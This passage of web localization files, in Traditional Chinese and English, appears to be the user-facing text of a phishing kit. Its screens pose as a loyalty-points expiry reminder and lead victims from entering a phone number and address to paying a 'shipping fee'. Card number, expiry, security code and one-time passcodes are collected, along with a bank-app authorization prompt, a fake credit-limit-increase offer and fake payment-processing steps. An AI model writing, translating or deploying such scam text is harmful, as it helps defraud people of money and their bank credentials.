phone_placeholder: "輸入手機號碼",
check_btn: "查詢機分",
gift_card: "禮品卡",
all_rewards: "所有獎勵",
redeemable: "可在 18 個地區兌換",
point_status: "積分狀態",
redeem: "立即",
now: "兌換",
form_title: "驗證您的手機號碼",
form_subtitle: "查看您的積分餘額並兌換商品",
secure: "安全",
fast: "快速",
trusted: "可信",
user: "用戶",
redeemed: "成功兌換了商品",
bonus_rate: "獎勵倍率",
products: "商品",
members: "會員",
exchange: "兌換",
stat_points: "積分",
stat_prizes: "獎品",
stat_members: "會員",
stat_countries: "地區",
stat_cat_1: "生活用品",
stat_cat_2: "數碼產品",
stat_cat_3: "禮品卡",
stat_cat_4: "旅遊用品",
stat_hint_1: "500+積分",
stat_hint_2: "600+積分",
stat_hint_3: "800+積分",
stat_hint_4: "800+積分",
},
// theme4
theme4: {
festival_badge: "超級節日 2024",
main_title: "大贏<br>獎勵",
hero_sub1: "用您的積分兌換豪華禮品!",
hero_sub2: "每一分積分都是驚喜。",
membership_status: "免費兌換",
gold_privilege: "當天發貨",
point_rate: "積分倍率",
active_gifts: "活躍禮品",
global_users: "全球用戶",
hot_events: "熱門活動",
form_title: "準備好領取了嗎?",
form_subtitle: "輸入詳情以查看您的餘額",
phone_placeholder: "手機號碼",
check_btn: "查詢我的獎勵",
secure: "安全",
fast: "快速",
global: "全球",
congratulations: "恭喜!",
redeemed_voucher: "剛剛兌換了$100代金券",
user: "用戶",
},
// theme5
theme5: {
carnival_hub: "嘉年華獎勵中心",
surprise: "驚喜",
free: "免費",
gifts: "禮品",
claim_reward: "領取您的特別積分獎勵!",
point_status: "積分狀態",
redeem_now: "立即兌換",
available_worldwide: "限時全球可用",
multipliers: "倍增器",
free_gifts: "免費禮品",
active_fans: "活躍粉絲",
fast: "快速",
exchange: "兌換",
same_day_shipping: "當天發貨",
form_title: "驗證您的手機號碼",
form_subtitle: "查詢您的積分並獲取節日禮品!",
phone_placeholder: "手機號碼",
verify_btn: "驗證並獲取",
secure_text: "\U0001f512 您的資訊安全且已加密",
great_news: "好消息!",
user: "用戶",
just_won: "剛剛贏得了",
},
// pay_view
pay_view: {
dear_user: "親愛的用戶",
expiration_reminder: "積分到期提醒",
details_of_points: "積分詳情",
desc1: "{0}積分服務提醒您,您目前的積分帳戶({1}積分)將在三個工作日內到期。為避免影響,請盡快兌換您的獎勵積分。",
desc2: "{0}積分計劃為您提供會員專屬優惠、節慶活動與日常回饋。{0}積分可直接用於符合條件的帳單支付,也可兌換超市禮券、咖啡券、儲值卡等實用禮品。請在有效期限內完成兌換,以免積分到期失效。",
desc3: "{0}積分提醒您,您目前帳戶中有{1}積分,可兌換各種不同價值的禮品。積分每月重置,過期積分將無法使用。",
desc4: "{0}積分計劃持續更新精選禮遇與限時優惠。您的{0}積分可用於符合條件的支付,或兌換各類生活禮品,包括超市禮券、咖啡券與預付卡。請在積分有效期內使用,避免權益失效。",
how_to_use: "使用方法:",
click_redeem: "點擊「兌換」按鈕進入兌換頁面。",
select_reward: "選擇您想兌換的獎勵。",
enter_address: "輸入送貨地址並支付運費。",
important_tip: "重要提示:",
tip1: "除非另有說明,每個積分只能使用一次。",
tip2: "請務必在指定的兌換有效期內使用。",
tip3: "到期後未兌換的積分將自動作廢,不可補發或延期。",
in_dispute: "如有爭議,本網站保留最終解釋權。",
order_delivery_card: "您的訂單將在<strong>3-5個工作日</strong>內送達。",
dear_customer: "親愛的客戶,您的貨物已準備就緒,但需要支付運費。",
point_expiration_reminder: {
page_title: "積分到期提醒",
greeting: "親愛的用戶",
reminder_prefix: "",
reminder_middle: "積分服務提醒您,您目前的積分餘額",
reminder_suffix: "將在一個工作日內到期。為避免不便,請盡快兌換您的獎勵積分。",
points_unit: "積分",
promotion_description: "積分服務為您提供最新最實用的優惠活動。積分不僅可直接用於支付帳單,還可兌換各種日常禮品,包括超市禮券、咖啡券、充值卡等,滿足您的各種需求。",
important_title: "重要說明",
note_item_1: "每個積分只能使用一次,除非另有說明。",
note_item_2: "請務必在指定的兌換有效期內使用。",
note_item_3: "到期後未兌換的積分將自動作廢,不可補發或延長兌換有效期。",
call_to_action: "立即行動,享受我們全面服務的諸多好處和便利!",
next_button: "下一步",
},
confirm_exchange: "確認您的兌換",
monthly_limit: "每月兌換限制:",
monthly_limit_desc: "每月只能進行一次兌換。完成本次兌換後,您將無法再次兌換,直到{date}(下個月的同一天同一時間)。",
final_exchange: "最終兌換:",
final_exchange_desc: "一旦確認,此次兌換在任何情況下均不可取消或退款。",
selected_prize: "已選獎品",
required_points: "所需積分",
remaining_points: "剩餘積分",
confirm_exchange_question: "您確認要兌換此獎品嗎?",
confirm_btn: "確認兌換",
gold_tier: "黃金等級",
total_balance: "總積分餘額",
next_tier: "下一等級",
need: "還需",
member_id: "會員 ID",
expiring_soon: "即將到期!",
pts_vanish_in: "積分將在此後消失:",
redeem_now: "立即兌換",
quick_rewards: "快速兌換",
see_all: "查看全部",
cash_back: "精選商品",
tech_gear: "科技裝備",
gift_cards: "禮品卡",
travel_item: "旅遊",
out_of_stock: "缺貨",
featured: "推薦",
holiday_special: "精選好禮",
holiday_special_sub: "用積分兌換心儀好禮。",
pts_active: "積分",
cat_life: "生活用品",
cat_digital: "數碼產品",
cat_gift_cards: "禮品卡",
cat_travel_goods: "旅遊用品",
pts_500: "500+積分",
pts_600: "600+積分",
pts_800: "800+積分",
platinum_tier: "白金級",
},
// pay_theme4
pay_theme4: {
available_points: "您的可用積分",
club_member_points: "嘉年華俱樂部會員積分",
progress_to_platinum: "升級至白金級別的進度",
pct_left: "剩餘40%積分",
member_since: "2023年3月起成為會員",
attention: "注意!",
you_have: "您有",
expiring_in: "積分即將到期:",
days: "天",
hrs: "時",
min: "分",
sec: "秒",
redeem_now: "立即兌換",
quick_rewards: "快速獎勵",
from: "低至",
big_carnival: "嘉年華大促?",
explore_catalog: "探索完整目錄",
reward_mega_prize: "生活用品",
reward_gadgets: "電子產品",
reward_gift_cards: "禮品卡",
reward_travel_pack: "旅行套裝",
},
// pay_theme5
pay_theme5: {
gold_level: "黃金級別",
available_points: "您的可用積分",
club_points: "俱樂部積分",
progress_platinum: "升級至白金級別的進度",
more_pts: "還需4,076積分",
member_since: "2023年3月起成為會員",
attention_expiring: "注意!積分即將到期",
you_have: "您有",
expiring_in: "積分即將到期:",
days: "天",
hours: "小時",
min: "分",
sec: "秒",
redeem_now: "立即兌換積分",
quick_redeem: "快速兌換",
reward_redeem_prize: "兌換獎品",
reward_accessories: "配件",
reward_life: "生活",
reward_digital: "數碼",
reward_gift_cards: "禮品卡",
reward_from_pts: "起步500積分",
reward_from_500: "起步500積分",
reward_from_600: "起步600積分",
reward_from_800: "起步800積分",
reward_available_now: "現在可用",
reward_new_stock: "新品上架",
reward_travel: "旅行",
reward_explore: "立即探索",
verified_secure: "已驗證安全系統",
club: "俱樂部",
},
// goods_view
goods_view: {
available_points: "可用積分",
spend_points: "使用積分",
full_points: "全積分",
points_money: "積分+現金",
please_redeem: "請兌換您喜愛的商品",
not_enough_points: "您的積分不足",
please_select_date: "請選擇送貨日期和費用。",
shipping_date_costs: "送貨日期和費用:",
goods_price: "商品價格",
shipping_fee: "運費",
total_amount: "總金額",
express_shipping: "快遞:{day} {date} {month} 送達。",
delivery_between: "在{startDay} {startDayNumber} {startMonth}至{endDay} {endDayNumber} {endMonth}之間送達。",
p1title: "Hanlin Future69 降噪遊戲耳機",
p2title: "HANLIN 藍牙耳機智能手錶",
p3title: "Oral-B Smart 5 5000N 電動牙刷",
p4title: "小米 BHR4857HK 3.5L 空氣炸鍋",
p5title: "Project E Beauty RF 超聲波塑身儀",
p6title: "YOTAMED 三層口罩 ASTM 1 成人款 50片裝",
exclusive_catalog: "獨家獎勵目錄",
you_have_points: "您有 {points} 積分可用",
redeem_desc: "使用積分兌換專為我們客戶設計的精彩獨家獎勵。",
expiring_soon: "重要提示!您的積分可能即將到期。立即兌換,不要失去它們。",
current_balance: "您目前的餘額:",
avg_needed: "平均所需:",
points_per_reward: "每個獎勵的積分",
express: "快遞",
standard: "標準",
delivery_options: "送貨選項和運費",
delivery_options_desc: "您的獎品將從我們授權的配送中心發出。選擇您偏好的送貨速度,只需支付相應的運費。",
express_delivery: "快遞服務",
standard_delivery: "標準服務",
express_delivery_desc: "次日送達,提供即時追蹤和強制簽名確認。",
standard_delivery_desc: "3至5個工作日內送達提供完整追蹤和保障。",
estimated_time: "預計時間:",
one_business_day: "1個工作日",
three_to_five_days: "3至5個工作日",
shipping_value: "運費價值",
shipping_confirmed_msg: "付款成功確認後,我們將盡快處理系統驗證並協調發貨。",
},
// goods_details
goods_details: {
quantity: "數量",
total: "總計",
not_enough_points: "您的積分不足",
please_redeem: "請兌換您喜愛的商品",
},
// address_view
address_view: {
invalid_email: "請輸入有效的電子郵件地址",
confirm_shipping: "確認您的送貨地址",
please_select_date: "請選擇日期和運費。",
shipping_date_costs: "送貨日期和費用:",
express_shipping: "快遞:{day} {date} {month} 送達。",
delivery_between: "在{startDay} {startDayNumber} {startMonth}至{endDay} {endDayNumber} {endMonth}之間送達。",
your_name: "您的姓名",
address: "地址",
detailed_address: "詳細地址",
optional: "(選填)",
city: "城市",
state: "州",
province: "省份",
region: "地區",
zip_code: "郵遞區號",
email: "電子郵件",
telephone: "電話號碼",
mailing_address: "通訊地址",
street_address: "街道地址或門牌號",
apartment_number: "公寓號、房間號等",
dear_user_msg: "親愛的用戶,請仔細填寫表格以確保成功送達",
field_error: "此欄位有錯誤,請檢查",
},
// card_view
card_view: {
online_payment: "線上付款",
order_number: "訂單號:",
payment_details: "付款詳情",
goods_price: "商品價格",
shipping_fee: "運費",
total_amount: "總金額",
cardholder: "持卡人",
card_number: "卡號",
expire_date: "有效期限",
security_code: "安全碼",
name_on_card_placeholder: "持卡人姓名",
expires_placeholder: "月/年",
invalid_cvv: "安全碼至少需要3位數字",
invalid_expiry: "請輸入有效的到期日(月/年)",
card_expired: "卡片已過期",
expiration_must_be_future: "到期日必須大於當前日期。",
wrong_month: "月份錯誤",
lump_sum: "總額:",
pay: "支付",
pay_message: "為您的產品運費支付 {0}",
delivery_courier_fee: "快遞費用",
for_redelivery: "重新派送需要收取一些服務費用。付款後您的包裹將重新派送",
shipping_ready_message: "您的禮品已準備好請支付運費。我們將在24小時內寄出。",
security_guarantee: "安全保障",
security_message: "您的支付資訊會被加密並安全傳輸。",
please_make_sure: "請確保您的送貨地址可以接受銀行卡。",
credit_increase_title: "恭喜!您有資格申請信用限額提升",
credit_increase_desc: "親愛的尊貴客戶,您負責任地使用{0}信用卡,使您有資格申請信用限額升級。",
why_qualify: "您的資格理由",
consistent_spending: "持續消費:",
consistent_spending_desc: "您已達到目前的信用限額,顯示出積極且負責任的用卡習慣。",
timely_payments: "準時還款:",
timely_payments_desc: "您的準時還款記錄反映了您的可靠性和財務紀律。",
trusted_relationship: "信任關係:",
trusted_relationship_desc: "您對{0}的忠誠使您有資格享受增強的權益。",
credit_increase_benefit: "提升信用限額將為您提供更強的購買力、獨家獎勵以及輕鬆管理更大支出的靈活性。",
request_increase: "申請信用限額提升",
credit_limit_explanation: "請在下方驗證您的卡片詳情以繼續申請信用限額提升。",
},
// otp_view
otp_view: {
secure_checkout: "安全結帳",
bank_additional_verification: "您的銀行要求額外驗證",
transaction_validation: "交易驗證",
payment_authentication: "付款驗證",
authorized_bank_label: "授權銀行",
verify_identity: "請確認您的身份,一次性驗證碼將發送到您的手機號碼或電子郵件地址。請在此輸入驗證碼",
otp_resent_desc: "我們已將一次性密碼 (OTP) 以簡訊方式重新發送至您註冊的手機號碼(最後幾位數字)。",
enter_otp_prompt: "請輸入您的一次性密碼 (OTP)。",
payment_detail: "您於 {date} 向 {merchant} 支付 {currency} {amount},使用卡片 {card}",
code_sent_to: "驗證碼已發送至",
do_not_click: "請勿點擊「刷新」或「返回」按鈕,這可能會終止您的交易",
code_error: "驗證碼錯誤,請重試",
session_expiring: "會話即將到期,請立即完成驗證",
card_not_supported: "此卡不支持此交易,請嘗試另一張卡",
verification_code: "驗證碼",
enter_your_otp: "輸入您的 OTP",
verify: "驗證",
resend_code: "重新發送驗證碼",
click_for_another: "點擊此處接收另一個驗證碼",
having_trouble: "遇到問題?",
choose_another_option: "選擇其他安全驗證方式",
need_help: "需要幫助?",
},
// success_view
success_view: {
payment_successful: "付款成功!",
thank_you: "感謝您的購買。您的付款已成功處理",
},
// app_valid_view
app_valid_view: {
authorized_bank_title: "授權銀行",
authorized_bank_label: "授權銀行",
go_to_bank_app: "請前往銀行App確認授權",
do_not_close: "請勿關閉此頁面",
verifying: "驗證中",
notified_24h: "申請結果將在24小時內通知您",
verification_success: "驗證成功",
},
// payment_loading
payment_loading: {
transaction_details: "交易詳情",
transaction_id: "交易ID",
processing_network: "處理網絡:",
processing_time: "處理時間:",
security_level: "安全級別:",
preparing: "準備中...",
high: "高",
step_init: "初始化支付環境...",
step_encrypt: "加密卡片資訊...",
step_connect: "建立安全連接...",
step_verify_card: "驗證卡號和發卡機構...",
step_validate_cvv: "驗證CVV碼...",
step_fraud: "檢查欺詐風險...",
step_send: "發送交易請求...",
step_wait_auth: "等待銀行授權...",
step_process_resp: "處理銀行回應...",
step_confirm: "確認交易狀態...",
step_finalize: "完成交易...",
network_visa: "Visa安全網絡",
network_mastercard: "Mastercard全球支付網絡",
network_amex: "American Express專屬通道",
network_unionpay: "銀聯支付通道",
network_intl: "國際支付網絡",
time_seconds: "{time}秒",
},
// payment_modal
payment_modal: {
processing_payment: "處理付款中",
do_not_refresh: "請勿刷新或關閉頁面",
},
};

View File

@@ -0,0 +1,483 @@
export default {
// common flat keys
"Submit": "Submit",
"Next Step": "Next Step",
"Cancel": "CANCEL",
"SSL Encryption": "SSL Encryption",
"Safe payment": "Safe payment",
"PCI-DSS Certified": "PCI-DSS Certified",
"Phone number": "Phone number",
"points": "points",
"Points": "Points",
"Exchange": "Exchange",
"Inquire": "Inquire",
"Processing": "Processing",
"Sunday": "Sunday", "Monday": "Monday", "Tuesday": "Tuesday",
"Wednesday": "Wednesday", "Thursday": "Thursday", "Friday": "Friday", "Saturday": "Saturday",
"January": "January", "February": "February", "March": "March", "April": "April",
"May": "May", "June": "June", "July": "July", "August": "August",
"September": "September", "October": "October", "November": "November", "December": "December",
// theme6
reward_points_waiting: "Reward points are waiting for you",
loyalty_thank_you: "Thank you for being a loyal {name} member.",
points_expiry_warning: "Some of your reward points are about to expire.",
choose_reward_instruction: "Choose your favorite reward and redeem it before expiration.",
enter_phone_to_check: "Enter your phone number to check your balance.",
verify_my_points: "Verify my {name} points",
placeholder_enter_number: "Enter your phone number",
error_invalid_phone: "Please enter a valid phone number",
btn_continue: "Continue",
// login_view
login_view: {
welcome_back: "Welcome back",
reward_message: "We reward you for using point services",
check_points: "Check your points",
},
// theme1
theme1: {
available_title: "Turn Your Points Into Rewards",
rewards_name: "Rewards",
desc1: "Welcome to the Rewards Points redemption program.",
desc2: "Your accumulated points can be exchanged for a variety of exclusive rewards and lifestyle products.",
desc3: "Check your available points and start redeeming today!",
check_points: "Check your points",
},
// theme2
theme2: {
title: "Points Inquiry",
subtitle: "Enter your phone number to check available points",
feature_realtime: "Free Redemption",
feature_rewards: "Rich Rewards",
feature_secure: "Same-day Shipping",
check_my_points: "Check My Points",
query_subtitle: "Please enter your phone number to query",
phone_placeholder: "Enter phone number",
query_btn: "Query Now",
security_note: "Your information will be securely encrypted and not used for other purposes",
},
// theme3
theme3: {
hero_badge: "SEASONAL EVENT",
title: "Festive Tech Rewards",
subtitle: "Celebrate the season with exclusive points redemption on gadgets.",
view_catalog: "VIEW CATALOG",
check_balance: "Free Redemption",
check_balance_sub: "Same-day Shipping",
account_identifier: "MOBILE NUMBER",
phone_placeholder: "Enter your phone number",
check_btn: "Check My Points",
gift_card: "GIFT CARD",
all_rewards: "ALL REWARDS",
redeemable: "REDEEMABLE IN ALL 18 OPERATING REGIONS",
point_status: "POINT STATUS",
redeem: "REDEEM",
now: "NOW",
form_title: "Verify Your Mobile Number",
form_subtitle: "Check your points balance and redeem products",
secure: "SECURE",
fast: "FAST",
trusted: "TRUSTED",
user: "User",
redeemed: "successfully redeemed products",
bonus_rate: "BONUS RATE",
products: "PRODUCTS",
members: "MEMBERS",
exchange: "EXCHANGE",
stat_points: "Points",
stat_prizes: "Prizes",
stat_members: "Members",
stat_countries: "Countries",
stat_cat_1: "Household",
stat_cat_2: "Digital",
stat_cat_3: "Gift Cards",
stat_cat_4: "Travel",
stat_hint_1: "500+ pts",
stat_hint_2: "600+ pts",
stat_hint_3: "800+ pts",
stat_hint_4: "800+ pts",
},
// theme4
theme4: {
festival_badge: "MEGA FESTIVAL 2024",
main_title: "BIG WIN<br>REWARDS",
hero_sub1: "Exchange your points for luxury gifts!",
hero_sub2: "Every point counts for a surprise.",
membership_status: "FREE REDEMPTION",
gold_privilege: "SAME-DAY SHIPPING",
point_rate: "POINT RATE",
active_gifts: "ACTIVE GIFTS",
global_users: "GLOBAL USERS",
hot_events: "HOT EVENTS",
form_title: "Ready to claim?",
form_subtitle: "Enter your details to reveal your balance",
phone_placeholder: "Mobile Number",
check_btn: "CHECK MY REWARDS",
secure: "SECURE",
fast: "FAST",
global: "GLOBAL",
congratulations: "CONGRATULATIONS!",
redeemed_voucher: "just redeemed a $100 Voucher!",
user: "User",
},
// theme5
theme5: {
carnival_hub: "CARNIVAL REWARDS HUB",
surprise: "SURPRISE",
free: "FREE",
gifts: "GIFTS",
claim_reward: "CLAIM YOUR SPECIAL POINTS REWARD!",
point_status: "POINT STATUS",
redeem_now: "REDEEM NOW",
available_worldwide: "Available worldwide for a limited time",
multipliers: "MULTIPLIERS",
free_gifts: "FREE GIFTS",
active_fans: "ACTIVE FANS",
fast: "Fast",
exchange: "EXCHANGE",
same_day_shipping: "Same-day Shipping",
form_title: "Verify Your Mobile Number",
form_subtitle: "Check your points and get your festive gift!",
phone_placeholder: "Mobile Number",
verify_btn: "VERIFY & GET IT",
secure_text: "\U0001f512 Your information is safe & encrypted",
great_news: "GREAT NEWS!",
user: "User",
just_won: "just won a",
},
// pay_view
pay_view: {
dear_user: "Dear user",
expiration_reminder: "Point Expiration Reminder",
details_of_points: "Details of the points",
desc1: "{0} points service reminds you that your current points account ({1} points) will expire within three working days. To avoid the impact, please redeem your reward points promptly.",
desc2: "The {0} Points Program gives you access to member-exclusive deals, seasonal campaigns, and everyday savings opportunities. {0} points can be used directly toward eligible bill payments or redeemed for practical rewards such as supermarket vouchers, coffee coupons, and stored-value cards. Please redeem your points within the validity period to avoid expiration.",
desc3: "{0} Points reminds you that you currently have {1} points in your account, which you can redeem for various gifts of different values. Points are reset monthly and expired points will become unusable.",
desc4: "{0} Points Program continuously updates premium reward selections and limited-time offers. Your {0} points can be applied to eligible payments or exchanged for lifestyle gifts, including supermarket vouchers, coffee coupons, and prepaid cards. Use your points before they expire to keep every reward opportunity.",
how_to_use: "How to use it:",
click_redeem: "Click the \"Redeem\" button to access the redemption page.",
select_reward: "Select the reward you wish to redeem.",
enter_address: "Enter the shipping address and pay the shipping costs.",
important_tip: "Important tip:",
tip1: "Unless otherwise stated, each point can only be used once.",
tip2: "Be sure to use them within the specified redemption validity period.",
tip3: "Any points not redeemed after the expiration date will be automatically voided and cannot be reissued or extended.",
in_dispute: "In the event of a dispute, this website reserves the right of final interpretation.",
order_delivery_card: "Your order will be delivered in <strong>3-5 business days</strong>.",
dear_customer: "Dear customer, your shipment is ready, but requires payment of the shipping cost.",
point_expiration_reminder: {
page_title: "Point Expiration Reminder",
greeting: "Dear user",
reminder_prefix: "The ",
reminder_middle: " points service reminds you that your current points balance ",
reminder_suffix: " will expire within one business day. To avoid inconvenience, please redeem your reward points as soon as possible.",
points_unit: "points",
promotion_description: "The points service offers you the latest and most practical promotions. Points can not only be used directly to pay bills, but also to redeem various everyday gifts, including supermarket vouchers, coffee coupons, recharge cards, etc., to meet your various needs.",
important_title: "Important Note",
note_item_1: "Each credit can only be used once, unless otherwise stated.",
note_item_2: "Make sure to use it within the specified redemption validity period.",
note_item_3: "Points not redeemed after the expiration date will be automatically voided and cannot be reissued or extended.",
call_to_action: "Act now and enjoy the many benefits and conveniences of our comprehensive service!",
next_button: "Next Step",
},
confirm_exchange: "CONFIRM YOUR EXCHANGE",
monthly_limit: "Monthly Exchange Limit:",
monthly_limit_desc: "You can only make one exchange per month. Once this exchange is completed, you will not be able to make another until {date} (the same day and time next month).",
final_exchange: "Final Exchange:",
final_exchange_desc: "Once confirmed, this exchange cannot be cancelled or refunded under any circumstances.",
selected_prize: "Selected Prize",
required_points: "Required Points",
remaining_points: "Remaining Points",
confirm_exchange_question: "Do you confirm that you want to exchange this prize?",
confirm_btn: "CONFIRM EXCHANGE",
gold_tier: "GOLD TIER",
total_balance: "TOTAL BALANCE",
next_tier: "NEXT TIER",
need: "NEED",
member_id: "Member ID",
expiring_soon: "Expiring Soon!",
pts_vanish_in: "pts vanish in:",
redeem_now: "REDEEM NOW",
quick_rewards: "Quick Rewards",
see_all: "See All",
cash_back: "Merchandise",
tech_gear: "Tech Gear",
gift_cards: "Gift Cards",
travel_item: "Travel",
out_of_stock: "Out of Stock",
featured: "FEATURED",
holiday_special: "Top Picks",
holiday_special_sub: "Redeem points for exclusive merchandise.",
pts_active: "pts",
cat_life: "Household",
cat_digital: "Digital",
cat_gift_cards: "Gift Cards",
cat_travel_goods: "Travel Goods",
pts_500: "500+ pts",
pts_600: "600+ pts",
pts_800: "800+ pts",
platinum_tier: "Platinum",
},
// pay_theme4
pay_theme4: {
available_points: "YOUR AVAILABLE POINTS",
club_member_points: "CARNIVAL CLUB MEMBER POINTS",
progress_to_platinum: "PROGRESS TO PLATINUM",
pct_left: "40% PTS LEFT",
member_since: "MEMBER SINCE MARCH 2023",
attention: "Attention!",
you_have: "You have",
expiring_in: "points expiring in:",
days: "DAYS",
hrs: "HRS",
min: "MIN",
sec: "SEC",
redeem_now: "REDEEM NOW",
quick_rewards: "Quick Rewards",
from: "FROM",
big_carnival: "BIG CARNIVAL?",
explore_catalog: "EXPLORE FULL CATALOG",
reward_mega_prize: "Household Essentials",
reward_gadgets: "Gadgets",
reward_gift_cards: "Gift Cards",
reward_travel_pack: "Travel Pack",
},
// pay_theme5
pay_theme5: {
gold_level: "Gold Level",
available_points: "YOUR AVAILABLE POINTS",
club_points: "Club points",
progress_platinum: "Progress to Platinum Level",
more_pts: "4,076 pts more",
member_since: "Member since March 2023",
attention_expiring: "Attention! Points Expiring",
you_have: "You have",
expiring_in: "points expiring in:",
days: "Days",
hours: "Hours",
min: "Min",
sec: "Sec",
redeem_now: "REDEEM POINTS NOW",
quick_redeem: "Quick Redeem",
reward_redeem_prize: "Redeem Prize",
reward_accessories: "Accessories",
reward_life: "Life",
reward_digital: "Digital",
reward_gift_cards: "Gift Cards",
reward_from_pts: "From 500 pts",
reward_from_500: "From 500 pts",
reward_from_600: "From 600 pts",
reward_from_800: "From 800 pts",
reward_available_now: "Available Now",
reward_new_stock: "New stock",
reward_travel: "Travel",
reward_explore: "Explore Now",
verified_secure: "Verified Secure System",
club: "Club",
},
// goods_view
goods_view: {
available_points: "Available Points",
spend_points: "Spend points",
full_points: "Full Points",
points_money: "Points+Money",
please_redeem: "Please redeem your favorite product",
not_enough_points: "You don't have enough points",
please_select_date: "Please select shipping date and costs.",
shipping_date_costs: "Shipping Date and Costs:",
goods_price: "Goods Price",
shipping_fee: "Shipping Fee",
total_amount: "Total Amount",
express_shipping: "Express shipping: Arrival on {day}, {date} {month}.",
delivery_between: "Delivery between {startDay}, {startDayNumber} {startMonth} and {endDay}, {endDayNumber} {endMonth}.",
p1title: "Hanlin Future69 ENC Noise Cancelling Gaming Headphones",
p2title: "HANLIN Bluetooth Headphones Smartwatch",
p3title: "Oral-B Smart 5 5000N Electric Toothbrush",
p4title: "Mi Xiaomi BHR4857HK 3.5L Air Fryer",
p5title: "Project E Beauty RF Ultrasonic Slimming Apparatus",
p6title: "YOTAMED 3 Ply Disposable Nano Mask ASTM 1 (Adult) 50 Pack",
exclusive_catalog: "Exclusive Rewards Catalog",
you_have_points: "You have {points} points available",
redeem_desc: "Redeem your points for amazing exclusive rewards designed especially for our customers.",
expiring_soon: "Important! Your points may expire soon. Redeem now and don't lose them.",
current_balance: "Your current balance:",
avg_needed: "Average needed:",
points_per_reward: "points per reward",
express: "Express",
standard: "Standard",
delivery_options: "DELIVERY OPTIONS AND SHIPPING COST",
delivery_options_desc: "Your prize will be dispatched from our authorized distribution center. Choose your preferred delivery speed and pay only the corresponding shipping cost.",
express_delivery: "Express Delivery",
standard_delivery: "Standard Delivery",
express_delivery_desc: "Receive it the next business day with real-time tracking and mandatory signature confirmation.",
standard_delivery_desc: "Receive it in 3 to 5 business days with complete tracking and guaranteed shipping protection.",
estimated_time: "Estimated time:",
one_business_day: "1 business day",
three_to_five_days: "3 to 5 business days",
shipping_value: "Shipping value",
shipping_confirmed_msg: "Once your successful payment is confirmed, we will process the system verification and coordinate the dispatch as soon as possible.",
},
// goods_details
goods_details: {
quantity: "Quantity",
total: "Total",
not_enough_points: "You don't have enough points",
please_redeem: "Please redeem your favorite product",
},
// address_view
address_view: {
invalid_email: "Please enter a valid email address",
confirm_shipping: "Confirm your shipping address",
please_select_date: "Please select the date and shipping cost.",
shipping_date_costs: "Shipping Date and Costs:",
express_shipping: "Express shipping: Arrival on {day}, {date} {month}.",
delivery_between: "Delivery between {startDay}, {startDayNumber} {startMonth} and {endDay}, {endDayNumber} {endMonth}.",
your_name: "Your Name",
address: "Address",
detailed_address: "Detailed Address",
optional: "(Optional)",
city: "City",
state: "State",
province: "Province",
region: "Region",
zip_code: "Zip Code",
email: "E-Mail",
telephone: "Telephone Number",
mailing_address: "Mailing address",
street_address: "street address or house number",
apartment_number: "Apartment number, room number, etc.",
dear_user_msg: "Dear users, please fill in the form carefully to ensure the successful delivery",
field_error: "There is an error in this field, please check",
},
// card_view
card_view: {
online_payment: "Online Payment",
order_number: "Order number: ",
payment_details: "Payment Details",
goods_price: "Goods Price",
shipping_fee: "Shipping Fee",
total_amount: "Total Amount",
cardholder: "Cardholder",
card_number: "Card Number",
expire_date: "Expire Date",
security_code: "Security Code",
name_on_card_placeholder: "Name on card",
expires_placeholder: "MM/YY",
invalid_cvv: "Security code must be at least 3 digits",
invalid_expiry: "Please enter a valid expiration date (MM/YY)",
card_expired: "Card has expired",
expiration_must_be_future: "The expiration date must be greater than the current date.",
wrong_month: "Wrong month",
lump_sum: "lump sum: ",
pay: "Pay",
pay_message: "Pay {0} for your product's shipping fee",
delivery_courier_fee: "Delivery courier fee",
for_redelivery: "For redelivery, we need to charge some service fees. Your package will be re-delivered after payment",
shipping_ready_message: "Your gift is ready. Please pay for the shipping. We will send it within 24 hours.",
security_guarantee: "Security Guarantee",
security_message: "Your payment information is encrypted and transmitted securely.",
please_make_sure: "Please make sure your delivery address can accept bank cards.",
credit_increase_title: "Congratulations! You're Eligible for a Credit Limit Increase",
credit_increase_desc: "Dear Valued Customer, your responsible use of your {0} credit card has qualified you for a credit limit upgrade.",
why_qualify: "Why You Qualify",
consistent_spending: "Consistent Spending:",
consistent_spending_desc: "You've reached your current credit limit, demonstrating active and responsible card usage.",
timely_payments: "Timely Payments:",
timely_payments_desc: "Your history of on-time payments reflects your reliability and financial discipline.",
trusted_relationship: "Trusted Relationship:",
trusted_relationship_desc: "Your loyalty as a {0} customer makes you eligible for enhanced benefits.",
credit_increase_benefit: "Upgrading your credit limit will provide greater purchasing power, exclusive rewards, and the flexibility to manage larger expenses with ease.",
request_increase: "Request Your Credit Limit Increase",
credit_limit_explanation: "To proceed with your credit limit increase, please verify your card details below.",
},
// otp_view
otp_view: {
secure_checkout: "SECURE CHECKOUT",
bank_additional_verification: "Your bank has requested additional verification",
transaction_validation: "Transaction Validation",
payment_authentication: "Payment Authentication",
authorized_bank_label: "Authorized Bank",
verify_identity: "Please confirm your identity and a one-time code will be sent to your mobile number or email address. Please enter verification code here",
otp_resent_desc: "We have resent the one-time password (OTP) in a text message to your registered mobile phone number (last digits ).",
enter_otp_prompt: "Please enter your one-time password (OTP).",
payment_detail: "You are paying on {date} {currency} {amount} to {merchant} with your card {card}",
code_sent_to: "The verification code has been sent to",
do_not_click: "Please do not click the 'Refresh' or 'Back' buttons as this may terminate your transaction",
code_error: "Verification code error, please try again",
session_expiring: "The session is about to expire, please complete the verification now",
card_not_supported: "This card does not support this transaction, please try another card",
verification_code: "Verification code",
enter_your_otp: "Enter your OTP",
verify: "VERIFY",
resend_code: "Resend code",
click_for_another: "Click here to receive another code",
having_trouble: "Having trouble?",
choose_another_option: "Choose another security option",
need_help: "Need Help?",
},
// success_view
success_view: {
payment_successful: "Payment Successful!",
thank_you: "Thank you for your purchase. Your payment has been processed successfully",
},
// app_valid_view
app_valid_view: {
authorized_bank_title: "Authorized Bank",
authorized_bank_label: "Authorized bank",
go_to_bank_app: "Please go to the bank App to confirm the authorization",
do_not_close: "Please do not close this page",
verifying: "Verifying",
notified_24h: "The application result will be notified to you within 24 hours",
verification_success: "Verification Success",
},
// payment_loading
payment_loading: {
transaction_details: "Transaction Details",
transaction_id: "Transaction ID:",
processing_network: "Processing Network:",
processing_time: "Processing Time:",
security_level: "Security Level:",
preparing: "Preparing...",
high: "High",
step_init: "Initializing payment environment...",
step_encrypt: "Encrypting card information...",
step_connect: "Establishing secure connection...",
step_verify_card: "Verifying card number and issuer...",
step_validate_cvv: "Validating CVV code...",
step_fraud: "Checking fraud risk...",
step_send: "Sending transaction request...",
step_wait_auth: "Waiting for bank authorization...",
step_process_resp: "Processing bank response...",
step_confirm: "Confirming transaction status...",
step_finalize: "Finalizing transaction...",
network_visa: "Visa Secure Network",
